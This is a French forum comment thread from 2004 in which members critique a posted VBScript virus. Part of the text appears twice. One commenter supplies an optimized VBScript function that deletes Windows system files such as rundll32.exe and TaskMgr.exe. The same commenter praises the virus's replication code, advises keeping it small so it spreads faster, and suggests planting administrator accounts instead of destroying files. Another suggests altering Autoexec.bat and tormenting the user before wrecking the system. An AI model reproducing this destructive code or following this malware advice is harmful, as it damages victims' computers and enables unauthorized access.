cs_Light Angel
Messages postés48Date d'inscriptiondimanche 9 mai 2004StatutMembreDernière intervention 1 janvier 2005
-
19 mai 2004 à 16:48
Ashtheone
Messages postés20Date d'inscriptionsamedi 2 août 2003StatutMembreDernière intervention19 mai 2004
-
19 mai 2004 à 17:21
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.
Ashtheone
Messages postés20Date d'inscriptionsamedi 2 août 2003StatutMembreDernière intervention19 mai 2004 19 mai 2004 à 17:21
Source avec un petit air de déjà vu....
...si ce n'est la parti destructive!
Je ne porterais aucun autre jugement.
cs_Warny
Messages postés473Date d'inscriptionmercredi 7 août 2002StatutMembreDernière intervention10 juin 2015 19 mai 2004 à 17:21
Salut,
Ton code mérite une petite explication de texte :
Par définition, un virus est un code qui a la capacité de s'autorépliquer.
Il faut séparer dans le code la partie qui permet la réplication et la partie casse c... qui n'est qu'accessoire (juste histoire de montrer à l'utilisateur que sa machine est infectée).
PS: tu peux optimiser le code de destruction en écrivant la procédure comme suit :
Function Killer(file)
Dim onstart, c
Set onstart = CreateObject("Scripting.FileSystemObject")
Set c = onstart.GetFile("c:\Windows\system32" & file)
c.Delete
End Function
puis tu appelles
Killer "rundll32.exe"
Killer "TaskMgr.exe" etc.
Il est aussi inutile de répéter On error resume next. Un virus se doit d'être légé. Plus il est simple, plus sa diffusion est rapide (temps de transfert oblige).
Par contre, ton code de réplication est particulièrement efficace
Personnellement je trouce qu'un virus destructif n'a pas vraiment d'interêt. Il est beaucoup plus interressant, par exemple de créer des comptes administrateurs sur les systèmes par exemple...
cs_Light Angel
Messages postés48Date d'inscriptiondimanche 9 mai 2004StatutMembreDernière intervention 1 janvier 2005 19 mai 2004 à 16:48
Oui, c'est pas très malin !! Sa fait que détruire des fichier du systeme et en plus, c'est pas compatible avec tous les windows : sa marche pas sur 95, 98, ME ... Au lieu de tout péter, tu devrais faire un truc qui fait chier le monde ... Par exemple modifier les instruction du fichier Autoex.bat. Sinon, sa donne un exemple d'utilisation de la suppression de fichier en VBS ! Je note pas parce que détruire est inutile, enfin, pas dé le début !! Tu fait chier ton utilisateur pendant 4 a 5 jour et puis après tu détruit le systeme ...
19 mai 2004 à 17:21
...si ce n'est la parti destructive!
Je ne porterais aucun autre jugement.
19 mai 2004 à 17:21
Ton code mérite une petite explication de texte :
Par définition, un virus est un code qui a la capacité de s'autorépliquer.
Il faut séparer dans le code la partie qui permet la réplication et la partie casse c... qui n'est qu'accessoire (juste histoire de montrer à l'utilisateur que sa machine est infectée).
PS: tu peux optimiser le code de destruction en écrivant la procédure comme suit :
Function Killer(file)
Dim onstart, c
Set onstart = CreateObject("Scripting.FileSystemObject")
Set c = onstart.GetFile("c:\Windows\system32" & file)
c.Delete
End Function
puis tu appelles
Killer "rundll32.exe"
Killer "TaskMgr.exe" etc.
Il est aussi inutile de répéter On error resume next. Un virus se doit d'être légé. Plus il est simple, plus sa diffusion est rapide (temps de transfert oblige).
Par contre, ton code de réplication est particulièrement efficace
Personnellement je trouce qu'un virus destructif n'a pas vraiment d'interêt. Il est beaucoup plus interressant, par exemple de créer des comptes administrateurs sur les systèmes par exemple...
19 mai 2004 à 16:48